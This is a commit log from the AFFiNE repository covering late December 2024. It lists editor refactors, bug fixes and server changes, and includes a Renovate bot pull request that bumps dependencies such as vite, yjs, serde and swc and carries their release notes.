🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS44MC4wIiwidXBkYXRlZEluVmVyIjoiMzkuODUuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-30 07:07:54 +00:00
pengx17
ea6fed127b fix(editor): tooltip styles when having span tags (#9422)
fix AF-2040
2024-12-30 06:54:03 +00:00
Saul-Mirone
e3b6841944 refactor(editor): reorg block specs (#9421) 2024-12-30 05:59:25 +00:00
pengx17
87331b49b7 docs(core): clarify developing server docs (#9420) 2024-12-30 03:51:59 +00:00
fundon
b9f2650369 feat(editor): store real color values in edgeless (#9254)
### What's Changed!

* adds theme type: `ThemeSchema`
* adds default theme: `DefaultTheme`
* stores real color values
2024-12-30 03:36:35 +00:00
fundon
a5641ae608 feat(editor): update edgeless color palette (#9243)
Closes: [BS-1475](https://linear.app/affine-design/issue/BS-1475/颜色主题更新) [BS-1803](https://linear.app/affine-design/issue/BS-1803/fill-color色板影响的yuan素) [BS-1804](https://linear.app/affine-design/issue/BS-1804/border-color色板影响的yuan素) [BS-1815](https://linear.app/affine-design/issue/BS-1815/连线文字配色略瞎)

### What's Changed

* refactor `EdgelessLineWidthPanel` component, the previous width is fixed and cannot be used in the new design
* refactor `EdgelessColorPanel` and `EdgelessColorButton` components, make them simple and reusable
* delete redundant `EdgelessOneRowColorPanel` component
* unity and update color palette, if the previously set color is not in the latest color palette, the custom color button will be selected
2024-12-30 03:36:34 +00:00
Saul-Mirone
6b1865ff92 fix(editor): prevent errors from isStrictUrl (#9419)
Closes: [BS-2277](https://linear.app/affine-design/issue/BS-2277/typeerror-failed-to-construct-url-invalid-url)
2024-12-30 02:45:59 +00:00
darkskygit
e630290e7c fix(server): cluster metrics duplicate (#9416) 2024-12-30 02:25:01 +00:00
Saul-Mirone
cec4a4b2c0 refactor(editor): extract drag handle widget (#9415) 2024-12-29 06:51:48 +00:00
Saul-Mirone
b96a03b283 refactor(editor): remote selection widget (#9408) 2024-12-28 08:47:09 +00:00
Saul-Mirone
1e4b1807be refactor(editor): query methods in edgeless api (#9407) 2024-12-28 07:48:41 +00:00
Saul-Mirone
dc92d78895 refactor(editor): remove re-exports (#9406) 2024-12-28 06:51:41 +00:00
renovate
1deed602c8 chore: bump up all non-major dependencies (#9249)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@swc/core](https://swc.rs) ([source](https://redirect.github.com/swc-project/swc)) | [`1.10.1` -> `1.10.3`](https://renovatebot.com/diffs/npm/@swc%2fcore/1.10.1/1.10.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@swc%2fcore/1.10.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@swc%2fcore/1.10.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@swc%2fcore/1.10.1/1.10.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@swc%2fcore/1.10.1/1.10.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@toeverything/theme](https://redirect.github.com/toeverything/design) | [`1.1.2` -> `1.1.3`](https://renovatebot.com/diffs/npm/@toeverything%2ftheme/1.1.2/1.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@toeverything%2ftheme/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@toeverything%2ftheme/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@toeverything%2ftheme/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@toeverything%2ftheme/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| @&#8203;types/dompurify | [`3.0.5` -> `3.2.0`](https://renovatebot.com/diffs/npm/@types%2fdompurify/3.0.5/3.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fdompurify/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fdompurify/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fdompurify/3.0.5/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fdompurify/3.0.5/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [Lakr233/MSDisplayLink](https://redirect.github.com/Lakr233/MSDisplayLink) | `from: "1.1.0"` -> `from: "1.1.1"` | [![age](https://developer.mend.io/api/mc/badges/age/git-tags/https:%2f%2fgithub.com%2fLakr233%2fMSDisplayLink/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/git-tags/https:%2f%2fgithub.com%2fLakr233%2fMSDisplayLink/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/git-tags/https:%2f%2fgithub.com%2fLakr233%2fMSDisplayLink/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/git-tags/https:%2f%2fgithub.com%2fLakr233%2fMSDisplayLink/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | patch |
| [Lakr233/SpringInterpolation](https://redirect.github.com/Lakr233/SpringInterpolation) | `from: "1.1.0"` -> `from: "1.3.0"` | [![age](https://developer.mend.io/api/mc/badges/age/git-tags/https:%2f%2fgithub.com%2fLakr233%2fSpringInterpolation/1.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/git-tags/https:%2f%2fgithub.com%2fLakr233%2fSpringInterpolation/1.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/git-tags/https:%2f%2fgithub.com%2fLakr233%2fSpringInterpolation/1.1.0/1.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/git-tags/https:%2f%2fgithub.com%2fLakr233%2fSpringInterpolation/1.1.0/1.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | minor |
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`16.0.0` -> `16.0.1`](https://renovatebot.com/diffs/npm/happy-dom/16.0.0/16.0.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/16.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/16.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/16.0.0/16.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/16.0.0/16.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [html-validate](https://html-validate.org) ([source](https://gitlab.com/html-validate/html-validate)) | [`9.0.1` -> `9.1.0`](https://renovatebot.com/diffs/npm/html-validate/9.0.1/9.1.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/html-validate/9.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/html-validate/9.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/html-validate/9.0.1/9.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/html-validate/9.0.1/9.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [serde](https://serde.rs) ([source](https://redirect.github.com/serde-rs/serde)) | `1.0.216` -> `1.0.217` | [![age](https://developer.mend.io/api/mc/badges/age/crate/serde/1.0.217?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/serde/1.0.217?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/serde/1.0.216/1.0.217?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/serde/1.0.216/1.0.217?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [swr](https://swr.vercel.app) ([source](https://redirect.github.com/vercel/swr)) | [`2.2.5` -> `2.3.0`](https://renovatebot.com/diffs/npm/swr/2.2.5/2.3.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/swr/2.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/swr/2.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/swr/2.2.5/2.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/swr/2.2.5/2.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [typedoc](https://typedoc.org) ([source](https://redirect.github.com/TypeStrong/TypeDoc)) | [`0.27.5` -> `0.27.6`](https://renovatebot.com/diffs/npm/typedoc/0.27.5/0.27.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typedoc/0.27.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typedoc/0.27.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typedoc/0.27.5/0.27.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typedoc/0.27.5/0.27.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [vite](https://vite.dev) ([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`6.0.5` -> `6.0.6`](https://renovatebot.com/diffs/npm/vite/6.0.5/6.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vite/6.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/6.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/6.0.5/6.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.0.5/6.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | resolutions | patch |
| [yjs](https://docs.yjs.dev) ([source](https://redirect.github.com/yjs/yjs)) | [`13.6.18` -> `13.6.21`](https://renovatebot.com/diffs/npm/yjs/13.6.18/13.6.21) | [![age](https://developer.mend.io/api/mc/badges/age/npm/yjs/13.6.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/yjs/13.6.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/yjs/13.6.18/13.6.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/yjs/13.6.18/13.6.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |

---

### Release Notes

<details>
<summary>swc-project/swc (@&#8203;swc/core)</summary>

### [`v1.10.3`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#1103---2024-12-27)

[Compare Source](https://redirect.github.com/swc-project/swc/compare/v1.10.2...v1.10.3)

##### Bug Fixes

-   **(es/codegen)** Emit semicolon after using declarations ([#&#8203;9816](https://redirect.github.com/swc-project/swc/issues/9816)) ([556d924](556d924cf5))

### [`v1.10.2`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#1102---2024-12-26)

[Compare Source](https://redirect.github.com/swc-project/swc/compare/v1.10.1...v1.10.2)

##### Bug Fixes

-   **(es)** Don't panic when wasm bytecheck faild ([#&#8203;9803](https://redirect.github.com/swc-project/swc/issues/9803)) ([c81be2e](c81be2ee28))

-   **(es/parser)** Do not parse empty stmt after using decl ([#&#8203;9798](https://redirect.github.com/swc-project/swc/issues/9798)) ([c2696db](c2696db528))

##### Documentation

-   **(types)** Fix broken links ([#&#8203;9812](https://redirect.github.com/swc-project/swc/issues/9812)) ([7768114](7768114451))

</details>

<details>
<summary>toeverything/design (@&#8203;toeverything/theme)</summary>

### [`v1.1.3`](https://redirect.github.com/toeverything/design/compare/1.1.2...1.1.3)

[Compare Source](https://redirect.github.com/toeverything/design/compare/1.1.2...1.1.3)

</details>

<details>
<summary>Lakr233/MSDisplayLink (Lakr233/MSDisplayLink)</summary>

### [`v1.1.1`](https://redirect.github.com/Lakr233/MSDisplayLink/compare/1.1.0...1.1.1)

[Compare Source](https://redirect.github.com/Lakr233/MSDisplayLink/compare/1.1.0...1.1.1)

</details>

<details>
<summary>Lakr233/SpringInterpolation (Lakr233/SpringInterpolation)</summary>

### [`v1.3.0`](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.2.2...1.3.0)

[Compare Source](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.2.2...1.3.0)

### [`v1.2.2`](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.2.1...1.2.2)

[Compare Source](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.2.1...1.2.2)

### [`v1.2.1`](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.2.0...1.2.1)

[Compare Source](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.2.0...1.2.1)

### [`v1.2.0`](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.1.2...1.2.0)

[Compare Source](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.1.2...1.2.0)

### [`v1.1.2`](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.1.1...1.1.2)

[Compare Source](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.1.1...1.1.2)

### [`v1.1.1`](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.1.0...1.1.1)

[Compare Source](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.1.0...1.1.1)

</details>

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v16.0.1`](https://redirect.github.com/capricorn86/happy-dom/compare/v16.0.0...2df1cc47f46695602f1b21a6d868fa9ee8a2277d)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.0.0...v16.0.1)

</details>

<details>
<summary>html-validate/html-validate (html-validate)</summary>

### [`v9.1.0`](https://gitlab.com/html-validate/html-validate/blob/HEAD/CHANGELOG.md#910-2024-12-25)

[Compare Source](https://gitlab.com/html-validate/html-validate/compare/v9.0.1...v9.1.0)

##### Features

-   **deps:** update dependency ignore to v7 ([43ae9ac](43ae9ac76c))

##### Bug Fixes

-   use jest worker for `toMatchCodeframe` ([3c29ad5](3c29ad5e74))

</details>

<details>
<summary>serde-rs/serde (serde)</summary>

### [`v1.0.217`](https://redirect.github.com/serde-rs/serde/releases/tag/v1.0.217)

[Compare Source](https://redirect.github.com/serde-rs/serde/compare/v1.0.216...v1.0.217)

-   Support serializing externally tagged unit variant inside flattened field ([#&#8203;2786](https://redirect.github.com/serde-rs/serde/issues/2786), thanks [@&#8203;Mingun](https://redirect.github.com/Mingun))

</details>

<details>
<summary>vercel/swr (swr)</summary>

### [`v2.3.0`](https://redirect.github.com/vercel/swr/compare/v2.2.5...v2.3.0)

[Compare Source](https://redirect.github.com/vercel/swr/compare/v2.2.5...v2.3.0)

</details>

<details>
<summary>TypeStrong/TypeDoc (typedoc)</summary>

### [`v0.27.6`](https://redirect.github.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0276-2024-12-26)

[Compare Source](https://redirect.github.com/TypeStrong/TypeDoc/compare/v0.27.5...v0.27.6)

##### Features

-   Added `ignoredHighlightLanguages` option to specify languages which will be
    allowed in code blocks but not highlighted, [#&#8203;2819](https://redirect.github.com/TypeStrong/TypeDoc/issues/2819).

##### Bug Fixes

-   `@include` and `@includeCode` now work in the readme file, [#&#8203;2814](https://redirect.github.com/TypeStrong/TypeDoc/issues/2814).
-   TypeDoc will now avoid making references to references, [#&#8203;2811](https://redirect.github.com/TypeStrong/TypeDoc/issues/2811).
-   Fixed output specific option specification, [#&#8203;2818](https://redirect.github.com/TypeStrong/TypeDoc/issues/2818).
-   Improved type reference conversion to avoid including defaulted type arguments, [#&#8203;2820](https://redirect.github.com/TypeStrong/TypeDoc/issues/2820).
-   Fixed parsing of declaration references which include a module and a local reference, [#&#8203;2810](https://redirect.github.com/TypeStrong/TypeDoc/issues/2810).
-   Improved link resolution logic to prioritize type alias properties with the
    same symbol over type literal properties within function parameters.

</details>

<details>
<summary>vitejs/vite (vite)</summary>

### [`v6.0.6`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small606-2024-12-26-small)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.5...v6.0.6)

-   fix: replace runner-side path normalization with `fetchModule`-side resolve ([#&#8203;18361](https://redirect.github.com/vitejs/vite/issues/18361)) ([9f10261](9f10261e76)), closes [#&#8203;18361](https://redirect.github.com/vitejs/vite/issues/18361)
-   fix(css): resolve style tags in HTML files correctly for lightningcss ([#&#8203;19001](https://redirect.github.com/vitejs/vite/issues/19001)) ([afff05c](afff05c032)), closes [#&#8203;19001](https://redirect.github.com/vitejs/vite/issues/19001)
-   fix(css): show correct error when unknown placeholder is used for CSS modules pattern in lightningcs ([9290d85](9290d85b5d)), closes [#&#8203;19070](https://redirect.github.com/vitejs/vite/issues/19070)
-   fix(resolve): handle package.json with UTF-8 BOM ([#&#8203;19000](https://redirect.github.com/vitejs/vite/issues/19000)) ([902567a](902567ac53)), closes [#&#8203;19000](https://redirect.github.com/vitejs/vite/issues/19000)
-   fix(ssrTransform): preserve line offset when transforming imports ([#&#8203;19004](https://redirect.github.com/vitejs/vite/issues/19004)) ([1aa434e](1aa434e801)), closes [#&#8203;19004](https://redirect.github.com/vitejs/vite/issues/19004)
-   chore: fix typo in comment ([#&#8203;19067](https://redirect.github.com/vitejs/vite/issues/19067)) ([eb06ec3](eb06ec30bb)), closes [#&#8203;19067](https://redirect.github.com/vitejs/vite/issues/19067)
-   chore: update comment about `build.target` ([#&#8203;19047](https://redirect.github.com/vitejs/vite/issues/19047)) ([0e9e81f](0e9e81f622)), closes [#&#8203;19047](https://redirect.github.com/vitejs/vite/issues/19047)
-   revert: unpin esbuild version ([#&#8203;19043](https://redirect.github.com/vitejs/vite/issues/19043)) ([8bfe247](8bfe247511)), closes [#&#8203;19043](https://redirect.github.com/vitejs/vite/issues/19043)
-   test(ssr): test virtual module with query ([#&#8203;19044](https://redirect.github.com/vitejs/vite/issues/19044)) ([a1f4b46](a1f4b46896)), closes [#&#8203;19044](https://redirect.github.com/vitejs/vite/issues/19044)

</details>

<details>
<summary>yjs/yjs (yjs)</summary>

### [`v13.6.21`](https://redirect.github.com/yjs/yjs/releases/tag/v13.6.21)

[Compare Source](https://redirect.github.com/yjs/yjs/compare/v13.6.20...v13.6.21)

-   fix [#&#8203;657](https://redirect.github.com/yjs/yjs/issues/657) - relative positions issue when using followUndoneDeletions=false  [`f583d2a`](https://redirect.github.com/yjs/yjs/commit/f583d2a2)
-   lint  [`1b0f2e5`](https://redirect.github.com/yjs/yjs/commit/1b0f2e54)
-   add nodejs specific tests  [`4404d09`](https://redirect.github.com/yjs/yjs/commit/4404d090)
-   Merge pull request [#&#8203;679](https://redirect.github.com/yjs/yjs/issues/679) from hoangqwe159/main  [`d4d4ae5`](https://redirect.github.com/yjs/yjs/commit/d4d4ae5f)
-   Add PSPDFKit binding to README.md  [`4ffd370`](https://redirect.github.com/yjs/yjs/commit/4ffd3709)
-   Merge pull request [#&#8203;676](https://redirect.github.com/yjs/yjs/issues/676) from himself65/patch-1  [`0419b74`](https://redirect.github.com/yjs/yjs/commit/0419b743)
-   add Open Collaboration Tools as a user  [`c951f2b`](https://redirect.github.com/yjs/yjs/commit/c951f2b7)
-   docs: remove `@toeverything/y-indexeddb`  [`4e2d3c8`](https://redirect.github.com/yjs/yjs/commit/4e2d3c8a)
-   update readme  [`8dc1296`](https://redirect.github.com/yjs/yjs/commit/8dc1296a)
-   add stars to providers that sponsor yjs  [`4329997`](https://redirect.github.com/yjs/yjs/commit/43299973)
-   Merge pull request [#&#8203;671](https://redirect.github.com/yjs/yjs/issues/671) from carlossantos74/main  [`2b7ea8a`](https://redirect.github.com/yjs/yjs/commit/2b7ea8a2)
-   add SuperViz Provider in yjs README  [`4f47355`](https://redirect.github.com/yjs/yjs/commit/4f473558)
-   \[funding.json] fix some validation issues  [`6074f80`](https://redirect.github.com/yjs/yjs/commit/6074f802)
-   fix errors in funding.json  [`42bbb44`](https://redirect.github.com/yjs/yjs/commit/42bbb44b)
-   add funding.json  [`cc2d732`](https://redirect.github.com/yjs/yjs/commit/cc2d7320)
-   add y-crdt elexir bindings  [`e804dd7`](https://redirect.github.com/yjs/yjs/commit/e804dd75)

### [`v13.6.20`](https://redirect.github.com/yjs/yjs/releases/tag/v13.6.20)

[Compare Source](https://redirect.github.com/yjs/yjs/compare/v13.6.19...v13.6.20)

-   lint  [`487465d`](https://redirect.github.com/yjs/yjs/commit/487465d7)
-   add yjs-inspector  [`345fd31`](https://redirect.github.com/yjs/yjs/commit/345fd31b)
-   add devtools  [`4ff65b5`](https://redirect.github.com/yjs/yjs/commit/4ff65b5d)
-   \[[#&#8203;667](https://redirect.github.com/yjs/yjs/issues/667)] sanity checks for Yjs caveats. In dev_mode, objects inserted into Yjs can't be manipulated.  [`8152cf8`](https://redirect.github.com/yjs/yjs/commit/8152cf81)
-   [#&#8203;667](https://redirect.github.com/yjs/yjs/issues/667) - add sanity messages when data is read before type is added to a document.  [`3bf44b9`](https://redirect.github.com/yjs/yjs/commit/3bf44b98)
-   Y.Array.length should be 0 before it is integrated - [#&#8203;666](https://redirect.github.com/yjs/yjs/issues/666)  [`8cd1a48`](https://redirect.github.com/yjs/yjs/commit/8cd1a482)
-   Merge pull request [#&#8203;665](https://redirect.github.com/yjs/yjs/issues/665) from batchor/main  [`9e9f294`](https://redirect.github.com/yjs/yjs/commit/9e9f2940)
-   add ScienHub as a user.  [`4fb7789`](https://redirect.github.com/yjs/yjs/commit/4fb7789c)
-   add ScienHub as a user.  [`c1ef9a1`](https://redirect.github.com/yjs/yjs/commit/c1ef9a12)

### [`v13.6.19`](https://redirect.github.com/yjs/yjs/releases/tag/v13.6.19)

[Compare Source](https://redirect.github.com/yjs/yjs/compare/v13.6.18...v13.6.19)

-   add `ydoc.isDestroyed` property  [`f604250`](https://redirect.github.com/yjs/yjs/commit/f604250f)
-   add eclipse theia as a user  [`7422b18`](https://redirect.github.com/yjs/yjs/commit/7422b18e)
-   add secsync  [`95e2bc4`](https://redirect.github.com/yjs/yjs/commit/95e2bc44)
-   add kanbert as a user  [`f2ff8b9`](https://redirect.github.com/yjs/yjs/commit/f2ff8b95)
-   Merge pull request [#&#8203;664](https://redirect.github.com/yjs/yjs/issues/664) from jul13579/add-qdacity-to-readme  [`3f9bfe4`](https://redirect.github.com/yjs/yjs/commit/3f9bfe42)
-   Add QDAcity to `README.md`  [`5b4d2a6`](https://redirect.github.com/yjs/yjs/commit/5b4d2a6b)
-   fix new lint issues  [`44e5108`](https://redirect.github.com/yjs/yjs/commit/44e51080)
-   update markdownlint  [`dd17228`](https://redirect.github.com/yjs/yjs/commit/dd17228a)
-   lint readme  [`eeb4c99`](https://redirect.github.com/yjs/yjs/commit/eeb4c996)
-   Merge pull request [#&#8203;660](https://redirect.github.com/yjs/yjs/issues/660) from mtreinik/main  [`56d5e32`](https://redirect.github.com/yjs/yjs/commit/56d5e328)
-   Remove erroneous ymap.get(index:number) from API docs  [`294c6a1`](https://redirect.github.com/yjs/yjs/commit/294c6a15)
-   Add Y.Array.from() and yarray.clone() to API docs  [`c944a45`](https://redirect.github.com/yjs/yjs/commit/c944a455)
-   update users  [`f29cd2b`](https://redirect.github.com/yjs/yjs/commit/f29cd2ba)
-   Merge pull request [#&#8203;651](https://redirect.github.com/yjs/yjs/issues/651) from nikgraf/patch-2  [`384ec4d`](https://redirect.github.com/yjs/yjs/commit/384ec4db)
-   add react-yjs to bindings  [`5e19c35`](https://redirect.github.com/yjs/yjs/commit/5e19c354)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS44MC4wIiwidXBkYXRlZEluVmVyIjoiMzkuODAuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-28 04:36:43 +00:00
Saul-Mirone
901965b61e refactor(editor): remove components in blocks/_common (#9401) 2024-12-28 01:10:23 +00:00
liuyi
89030f308f fix(core): wrong editor version number (#9403) 2024-12-28 01:37:37 +08:00
forehalo
12542f51f9 chore: bump base version to 0.19.0 2024-12-28 00:27:50 +08:00
liuyi
378db1054b fix(server): avoid get object content when syncing (#9402) 2024-12-28 00:25:15 +08:00
Saul-Mirone
6ebefbbf2b refactor(editor): extract code block (#9397) 2024-12-27 14:45:11 +00:00
doodlewind
5e1d936c2e fix(editor): sentry-b0cfc9953ff64c53b9994697171bb91a (#9396) 2024-12-27 14:02:00 +00:00
pengx17
70e4c8feab feat(core): info modal should render backlinks with preview (#9387)
fix AF-2033
2024-12-27 13:47:06 +00:00
EYHN
cff3a73db4 fix(core): fix create workspace force cloud (#9382) 2024-12-27 13:33:05 +00:00
Saul-Mirone
cbfe38b189 refactor(editor): add middlewares in shared adapter (#9395) 2024-12-27 12:32:44 +00:00
Saul-Mirone
76d9712f21 chore(editor): remove pie menu (#9394) 2024-12-27 12:32:42 +00:00
Saul-Mirone
003ce4c9e9 refactor(editor): extract divider block (#9393) 2024-12-27 12:12:17 +00:00
forehalo
439ed14b78 ci: release files 2024-12-27 20:11:25 +08:00
liuyi
0d98eb5e83 fix(tools): should always run affine script in project root (#9391) 2024-12-27 19:31:13 +08:00
liuyi
a16471c185 fix(server): selfhost startup (#9386) 2024-12-27 19:29:17 +08:00
pengx17
8bceece5b1 fix(core): cmdk command highlight (#9390)
fix AF-2032
2024-12-27 11:13:51 +00:00
liuyi
64827f771c fix(server): end_session_endpoint is not required for oidc (#9381) 2024-12-27 19:11:54 +08:00
Saul-Mirone
80dc0e8271 refactor(editor): extract edgeless text (#9375) 2024-12-27 10:48:12 +00:00
Saul-Mirone
5c4058cd73 fix(editor): dnd lag (#9378) 2024-12-27 10:34:00 +00:00
Brooooooklyn
12bfbf1db0 ci: fix Rust cache (#9377) 2024-12-27 09:59:29 +00:00
Saul-Mirone
6da10f9a93 refactor(editor): merge get surface util (#9371) 2024-12-27 09:42:13 +00:00
pengx17
6977b0a948 fix(core): optimize at menu config loading 2 (#9366)
fix AF-2028

<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/T2klNLEk0wxLh4NRDzhk/7931ddc8-3721-4b7d-b4cb-065f923f295c.mp4">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/T2klNLEk0wxLh4NRDzhk/7931ddc8-3721-4b7d-b4cb-065f923f295c.mp4">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/7931ddc8-3721-4b7d-b4cb-065f923f295c.mp4">Recording at 2024-12-27 11.50.54.mp4</video>
2024-12-27 09:26:03 +00:00
Saul-Mirone
1fbb462389 fix(editor): move insert link command to bookmark to remove ts ignore (#9370) 2024-12-27 09:09:29 +00:00
donteatfriedrice
fee86304ae refactor(editor): extract adapters to shared (#9344)
